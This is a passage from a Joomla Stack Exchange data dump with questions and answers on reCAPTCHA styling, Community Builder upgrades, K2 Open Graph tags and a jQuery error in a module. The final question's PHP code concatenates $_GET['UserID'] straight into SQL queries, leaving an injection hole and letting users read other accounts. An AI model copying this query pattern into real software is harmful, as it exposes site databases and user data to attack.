here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to make it neat and fit?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-02-10T05:33:17.607" Title="Fit recaptcha inside the module" Tags="|joomla-3.x|css|module-style|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15244" PostTypeId="2" ParentId="15229" CreationDate="2016-02-10T00:07:49.467" Score="2" Body="&lt;p&gt;Finally got a workaround.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_BASE/components/com_users/modes/registration.php&#xA;&#xA;$obj = new UsersModelRegistration();&#xA;$form = $obj-&amp;gt;getForm()-&amp;gt;getXML();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives the complete form which includes the core registration form with all other custom profiles.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-02-10T00:07:49.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15245" PostTypeId="2" ParentId="15243" CreationDate="2016-02-10T05:01:32.403" Score="5" Body="&lt;p&gt;You can set recaptcha element width with css like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place those lines in your module's php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$recaptcha = '#dynamic_recaptcha_1&amp;gt;div&amp;gt;div {'&#xA;    .'width: 100% !important;'&#xA;    .'border-radius: 4px;'&#xA;    .'overflow: hidden;'&#xA;    .'max-width: 300px;'&#xA;    .'}';&#xA;$document-&amp;gt;addStyleDeclaration($recaptcha);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this style has only 1 problem, it makes the recaptcha logo invisble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kb8El.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kb8El.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7757" LastEditorUserId="7757" LastEditDate="2016-02-10T05:33:17.607" LastActivityDate="2016-02-10T05:33:17.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15246" PostTypeId="1" AcceptedAnswerId="15247" CreationDate="2016-02-10T06:08:14.013" Score="2" ViewCount="160" Body="&lt;p&gt;I have a site and it's running with &lt;code&gt;Community Builder 1.9.1&lt;/code&gt;  and this version is no longer maintained by their developers. I have &lt;code&gt;Joomla! 3.4.8&lt;/code&gt; running on my server.&lt;/p&gt;&#xA;&lt;p&gt;I have seen the changelog and newer version files, it's a very big update including so many changes.&lt;/p&gt;&#xA;&lt;h3&gt;Main issue is&lt;/h3&gt;&#xA;&lt;p&gt;I have to update CB to latest version but some of the core files have been changed in it (I didn't do it).&#xA;So how I can maintain the same functionality with the latest version?&lt;/p&gt;&#xA;&lt;p&gt;I am running a site with a really huge number of users so I don't want to take the risk to down whole website for days.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditorDisplayName="user3831" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-07-06T14:57:07.877" Title="Community Builder Update Issue" Tags="|community-builder|extension-update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15247" PostTypeId="2" ParentId="15246" CreationDate="2016-02-10T09:46:34.217" Score="3" Body="&lt;p&gt;There is no simple way. This is roughly how I would proceed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1:&lt;/strong&gt; Make a full backup of your existing website&lt;br /&gt;&#xA; &lt;strong&gt;2:&lt;/strong&gt; Install it locally &lt;br /&gt;&#xA; &lt;strong&gt;3:&lt;/strong&gt; Identify all modifications to your community builder extension by comparing it to a fresh 1.9.1 &lt;br /&gt;&#xA; &lt;strong&gt;4:&lt;/strong&gt; Update community builder&lt;br /&gt;&#xA; &lt;strong&gt;5:&lt;/strong&gt; Apply all modifications again. Probably you can't apply them 1:1&lt;br /&gt;&#xA; &lt;strong&gt;6:&lt;/strong&gt; Replace your online version with your local version&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For step 1 + 2 Akeeba Backup can be a great help. Step 5 is probably the most critical part and requires programming skills. For step 6 I would suggest to make a backup again, update your online version directly and then copy and replace all the community builder extension files from local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope all modifications to your old community builder are documented well. This could help a lot. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-02-10T09:46:34.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15248" PostTypeId="5" CreationDate="2016-02-10T09:56:55.283" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-02-10T09:56:55.283" LastActivityDate="2016-02-10T09:56:55.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15249" PostTypeId="4" CreationDate="2016-02-10T09:56:55.283" Score="0" Body="A distributed control revision system for source code management" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2016-02-10T10:51:42.433" LastActivityDate="2016-02-10T10:51:42.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15250" PostTypeId="2" ParentId="1000" CreationDate="2016-02-10T10:38:11.607" Score="4" Body="&lt;p&gt;This can be achieved using custom fields now-a-days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fb9Dl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fb9Dl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My previous answer in case anyone finds that useful.&lt;/strong&gt;&#xA;&lt;strong&gt;The above is probably more relevant this is just here for reference.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Fields (above answer) would be my preference today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a plugin called User Profile.  Just go to Plugins and search for it.  It has quite a few additional fields built in, although not an image.  Should you want to enhance it you can follow this documentation.  &lt;strong&gt;Warning.  I suspect this plugin will be removed as Fields renders it less useful.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fb9Dl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fb9Dl.png&quot; alt=&quot;Joomla! User Profile Plugin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_profile_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not too difficult, it probably seems a lot harder than it is until you know how to do it.  If I was to do it, I would most certainly look at the existing code and then try to adapt it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of all the current form field types: &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Standard_form_field_types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you may specifically want to look at &lt;a href=&quot;https://docs.joomla.org/Media_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Media_form_field_type&lt;/a&gt; which will give access to the media manager modal.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-06-14T15:14:59.620" LastActivityDate="2018-06-14T15:14:59.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15251" PostTypeId="1" AcceptedAnswerId="15252" CreationDate="2016-02-10T13:31:09.070" Score="2" ViewCount="587" Body="&lt;p&gt;I have this clien't site with Joomla 2.5 and K2 2.6.9. Yes, I know it should be updated but tell that to this 'cheap' client of mine. Nevertheless, it works flawlessly and client is happy with it for years.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But (there is always at least one 'but', right?) it has problems with sharing K2 items on Facebook! Sometimes they show wrong item's title to be shared and sometimes they miss item's main picture to be shared. I dont use any social sharing plugin on that site, but it has sh404SEF for SEF URLs and it's social features are enabled. Social sharing works OK for all other pages except for K2 items, that's why I am sure that K2 causes these problems. In K2 categories options I made sure to have all K2's social features disabled, but when I check K2 item's share through Open Graph Debugger it clearly shows duplicated OG tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I disable K2's Open Graph tags?&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-02-10T13:45:59.403" LastActivityDate="2016-02-10T22:59:02.630" Title="K2 and duplicated Open Graph tags" Tags="|joomla-2.5|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15252" PostTypeId="2" ParentId="15251" CreationDate="2016-02-10T14:37:42.610" Score="3" Body="&lt;p&gt;I had a somewhat similar problem recently. To fix it you need to hack one of the k2 core files.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//Go to(windows style path) joomla root/components/com_k2/views/item/view.html.php  &#xA;// and comment line from 445 to 455&#xA;/*&#xA;$document-&amp;gt;setMetaData('og:url', $uri-&amp;gt;toString());&#xA;        $document-&amp;gt;setMetaData('og:title', htmlspecialchars($document-&amp;gt;getTitle(), ENT_QUOTES, 'UTF-8'));&#xA;        $document-&amp;gt;setMetaData('og:type', 'Article');&#xA;        $facebookImage = 'image'.$params-&amp;gt;get('facebookImage', 'Small');&#xA;        if ($item-&amp;gt;$facebookImage &amp;amp;&amp;amp; JFile::exists(JPATH_SITE.$item-&amp;gt;$facebookImage))&#xA;        {&#xA;            $image = substr(JURI::root(), 0, -1).str_replace(JURI::root(true), '', $item-&amp;gt;$facebookImage);&#xA;            $document-&amp;gt;setMetaData('og:image', $image);&#xA;            $document-&amp;gt;setMetaData('image', $image);&#xA;        }&#xA;        $document-&amp;gt;setMetaData('og:description', htmlspecialchars(strip_tags($document-&amp;gt;getDescription()), ENT_QUOTES, 'UTF-8'));&#xA;*/&#xA;&#xA;For joomla root/components/com_k2/views/latest​/view.html.php&#xA;&#xA;comment line from line 256 - 261&#xA;// Set Facebook meta data&#xA;/*&#xA;        $document = JFactory::getDocument();&#xA;        $uri = JURI::getInstance();&#xA;        $document-&amp;gt;setMetaData('og:url', $uri-&amp;gt;toString());&#xA;        $document-&amp;gt;setMetaData('og:title', (K2_JVERSION == '15') ? htmlspecialchars($document-&amp;gt;getTitle(), ENT_QUOTES, 'UTF-8') : $document-&amp;gt;getTitle());&#xA;        $document-&amp;gt;setMetaData('og:type', 'website');&#xA;        $document-&amp;gt;setMetaData('og:description', strip_tags($document-&amp;gt;getDescription()));&#xA;*/&#xA;&#xA;For joomla root/components/com_k2/views/itemlist/view.html.php  line 690 to 701&#xA;&#xA;// Set Facebook meta data&#xA;/*&#xA;    $document = JFactory::getDocument();&#xA;        $uri = JURI::getInstance();&#xA;        $document-&amp;gt;setMetaData('og:url', $uri-&amp;gt;toString());&#xA;        $document-&amp;gt;setMetaData('og:title', (K2_JVERSION == '15') ? htmlspecialchars($document-&amp;gt;getTitle(), ENT_QUOTES, 'UTF-8') : $document-&amp;gt;getTitle());&#xA;        $document-&amp;gt;setMetaData('og:type', 'website');&#xA;        if ($task == 'category' &amp;amp;&amp;amp; $this-&amp;gt;category-&amp;gt;image &amp;amp;&amp;amp; strpos($this-&amp;gt;category-&amp;gt;image, 'placeholder/category.png') === false)&#xA;        {&#xA;            $image = substr(JURI::root(), 0, -1).str_replace(JURI::root(true), '', $this-&amp;gt;category-&amp;gt;image);&#xA;            $document-&amp;gt;setMetaData('og:image', $image);&#xA;            $document-&amp;gt;setMetaData('image', $image);&#xA;        }&#xA;        $document-&amp;gt;setMetaData('og:description', strip_tags($document-&amp;gt;getDescription()));&#xA;&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I found this solution on the JoomlaWorks forum  &lt;a href=&quot;http://www.joomlaworks.net/forum/k2-en/44305-solved-stop-k2-from-generating-og-tags?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A%20joomlaworks%2Fforum%20%28JoomlaWorks%20%7C%20Community%20Forum%20Updates%29#149633&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stop K2 from generating OG tags&lt;/a&gt; and the link it lists as a solution&#xA;&lt;a href=&quot;https://gist.github.com/codeboxr/6171227&quot; rel=&quot;nofollow noreferrer&quot;&gt;Com_k2 default open graph fix&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is a 3rd option which is much the same-  &lt;a href=&quot;http://www.itoctopus.com/k2-and-setting-the-wrong-open-graph-description-meta-tag&quot; rel=&quot;nofollow noreferrer&quot;&gt;k2-and-setting-the-wrong-open-graph-description-meta-tag&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerDisplayName="user7746" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-02-10T22:59:02.630" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15253" PostTypeId="1" AcceptedAnswerId="15263" CreationDate="2016-02-10T21:24:15.650" Score="0" ViewCount="10257" Body="&lt;p&gt;I have a page that I'm currently using in a wrapper (iframe) and it works perfectly fine.   I've decided to make it a module (so we don't have dual scroll bars and it is more mobile friendly).   My problem is that when I put the page in the module that I get an error on the links:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: $(...).attr is not a function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The page is rather long, so I'll post what I believe are the key portions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;//code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;//cdn.datatables.net/1.10.5/css/jquery.dataTables.min.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/P3Live/_includes/css/tables.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/P3Live/_includes/css/user_settings.css&quot;&amp;gt;&#xA;    &amp;lt;script src=&quot;http://code.jquery.com/jquery-1.11.1.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot; src=&quot;//cdn.datatables.net/1.10.5/js/jquery.dataTables.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/P3Live/_includes/js/general_functions.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have verified that jquery is loaded by testing a link with the following jquery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $(&quot;a&quot;).on(&quot;click&quot;, function (e) {&#xA;        e.preventDefault(); &#xA;if (typeof jQuery != 'undefined') {  &#xA;    // jQuery is loaded =&amp;gt; print the version&#xA;    alert(jQuery.fn.jquery);&#xA;}        &#xA;alert('You are here. id:'+$(this).attr(&quot;data-title&quot;));               &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This reported back with 1.11.1 which is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the problematic code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;a&quot;).on(&quot;click&quot;, function (e) {&#xA;    e.preventDefault(); &#xA;    var src = $(this).attr(&quot;href&quot;);&#xA;    var title = $(this).attr(&quot;data-title&quot;);&#xA;    var width = $(this).attr(&quot;data-width&quot;);&#xA;    var height = $(this).attr(&quot;data-height&quot;);&#xA;    iframe.attr({&#xA;        width: width,&#xA;        height: height,&#xA;        src: src&#xA;    });&#xA;    dialog.dialog(&quot;option&quot;, &quot;title&quot;, title).dialog(&quot;open&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can only guess that it is some conflict since it works fine on its own, but I don't know what is causing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITED - here is the full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;//code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;//cdn.datatables.net/1.10.5/css/jquery.dataTables.min.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/P3Live/_includes/css/tables.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/P3Live/_includes/css/user_settings.css&quot;&amp;gt;&#xA;    &amp;lt;script src=&quot;http://code.jquery.com/jquery-1.11.1.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot; src=&quot;//cdn.datatables.net/1.10.5/js/jquery.dataTables.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/P3Live/_includes/js/general_functions.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;error_reporting(E_ERROR);&#xA;$includes_url = $_SERVER['DOCUMENT_ROOT'] . &quot;/P3Live/_includes/&quot;;&#xA;include_once($includes_url. &quot;php/OpenDB.php&quot;);&#xA;include_once($includes_url. &quot;php/GetUserInfo.php&quot;);&#xA;$UserInfo = GetJoomUser();&#xA;&#xA;if(!isset($UserInfo) || $UserInfo['id'] == 0) {&#xA;    exit(&quot;You must be logged in to use this page.&quot;);&#xA;}&#xA;&#xA;if(!isset($_GET['UserID'])) { $_GET['UserID'] = $UserInfo['id']; }&#xA;&#xA;if($_GET['UserID'] == $UserInfo['id']) {&#xA;    $CurrentUser = true;&#xA;} else {&#xA;    $CurrentUser = false;&#xA;}&#xA;&#xA;// Create Course Name Array&#xA;$strSQL = &quot;SELECT * FROM p3pro_courses.course_names&quot;;&#xA;$result = mysqli_query($conn, $strSQL);&#xA;if(!$result) { exit(&quot;Cannot connect to database to get Course Names.&quot;); }&#xA;while($data = mysqli_fetch_assoc($result)) {&#xA;    $key = $data['CourseID'];&#xA;    $Courses[$key] = $data['Course_Name'];&#xA;}&#xA;&#xA;// Get User Courses&#xA;$strSQL = &quot;SELECT * FROM p3pro_p3live.users WHERE JomID = &quot; . $_GET['UserID'];&#xA;$result = mysqli_query($conn, $strSQL);&#xA;if(!$result) { exit(&quot;Cannot connect to database to get User Course List.&quot;); }&#xA;$row = mysqli_fetch_assoc($result);&#xA;$CourseCSV = $row['courses'];&#xA;$UserCourses = explode(&quot;,&quot;, $CourseCSV);&#xA;&#xA;foreach($UserCourses as $key=&amp;gt;$value) {&#xA;    $Course_Name = $Courses[$value];&#xA;    $UserCourseList[$value] = $Course_Name;&#xA;}&#xA;&#xA;asort($UserCourseList);&#xA;&#xA;if($row['HolesPlayed']&amp;gt;89) {&#xA;    $handicap = $row['p3_handicap']*18;&#xA;    $handicap_display = $handicap . &quot;(&quot; . $row['p3_handicap'] . &quot; per hole)&quot;;&#xA;} else {&#xA;    $handicap_display = &quot;n/a&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;container-fluid&quot; style=&quot;display:inline-block;&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;left&quot; class=&quot;inline top&quot; style=&quot;padding-right:20px; width:25%; min-width:250px;&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;User Settings &amp;amp;amp; Data&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;form id=&quot;UserInfo&quot; name=&quot;UserInfo&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;user_id&quot; id=&quot;user_id&quot; value=&amp;lt;?php echo $UserInfo['id']; ?&amp;gt; /&amp;gt;&#xA;            &amp;lt;fieldset&amp;gt;&#xA;                &amp;lt;!-- Timezone --&amp;gt;   &#xA;                &amp;lt;div id=&quot;input0&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;inline label&quot; for=&quot;timezone&quot;&amp;gt;Timezone : &#xA;                        &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover1&quot; rel=&quot;popover1&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;Timezone&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                        &amp;lt;/a&amp;gt; &#xA;                        &amp;lt;div id=&quot;popover1-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;popTitle&quot;&amp;gt;Timezone&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                            &amp;lt;font color=#000000&amp;gt;&#xA;                                &amp;lt;p&amp;gt;This is the user's default timezone.&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/font&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                        $ZoneID = $row['default_timezone'];&#xA;                        $strSQL = &quot;SELECT zone_name, gmt_offset FROM p3pro_timezones.zone&#xA;                            LEFT JOIN p3pro_timezones.timezone ON zone.zone_id = timezone.zone_id&#xA;                            WHERE zone.zone_id = &quot; . $ZoneID . &quot; AND time_start&amp;lt;&quot; . time() . &quot; &#xA;                            ORDER BY time_start DESC LIMIT 1&quot;;&#xA;                        $result = mysqli_query($conn, $strSQL);&#xA;                        $tz_info = mysqli_fetch_assoc($result);&#xA;                        echo $tz_info['zone_name'] . &quot; (&quot; . $tz_info['gmt_offset']/(60*60) . &quot; hours)&quot;; &#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&amp;lt;span id=&quot;err_timezone&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt; &#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php&#xA;                if($CurrentUser) {?&amp;gt;&#xA;                    &amp;lt;center&amp;gt;&#xA;                    &amp;lt;a href=&quot;/P3Live/forms/select_timezone.php&quot; data-title='Select Timezone' data-width='550px' data-height='200px'&amp;gt;Edit Timezone&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/center&amp;gt;&#xA;                &amp;lt;?php &#xA;                }&#xA;                ?&amp;gt;&#xA;                &amp;lt;!-- P3 Handicap --&amp;gt;    &#xA;                &amp;lt;div id=&quot;input1&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;inline label&quot; for=&quot;p3_handicap&quot;&amp;gt;P3 Handicap : &#xA;                        &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover2&quot; rel=&quot;popover2&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;P3 Handicap&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                        &amp;lt;/a&amp;gt; &#xA;                        &amp;lt;div id=&quot;popover2-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;popTitle&quot;&amp;gt;P3 Handicap&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                            &amp;lt;font color=#000000&amp;gt;&#xA;                                &amp;lt;p&amp;gt;This is the user's online handicap.  Will display 'n/a' if the user has not hit the 90 hole threshold for an established handicap.&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;The number displayed here is rounded to 2 decimal places, but the full values are used for computation&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/font&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            if($row['HolesPlayed']&amp;lt;90) {&#xA;                                $p3_handicap='n/a';&#xA;                            } else {&#xA;                                $p3_full = number_format(($row['p3_handicap'] * 18),2);&#xA;                                $p3_handicap = $p3_full . &quot; (&quot; . number_format($row['p3_handicap'],2) . &quot; per hole)&quot;;&#xA;                            }&#xA;                        echo $p3_handicap; &#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&amp;lt;span id=&quot;err_p3_handicap&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt; &#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- P3 Holes Played --&amp;gt;    &#xA;                &amp;lt;div id=&quot;input1&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;inline label&quot; for=&quot;p3_holesPlayed&quot;&amp;gt;P3 Holes Played : &#xA;                        &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover2_5&quot; rel=&quot;popover2_5&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;P3 Holes Played&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                        &amp;lt;/a&amp;gt; &#xA;                        &amp;lt;div id=&quot;popover2_5-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;popTitle&quot;&amp;gt;P3 Holes Played&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                            &amp;lt;font color=#000000&amp;gt;&#xA;                                &amp;lt;p&amp;gt;Number of Stroke Play holes played (used to establish handicap.  Handicap is not calculated until you have played 90 holes)&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/font&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                        echo $row['HolesPlayed']; &#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&amp;lt;span id=&quot;err_p3_handicap&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt; &#xA;                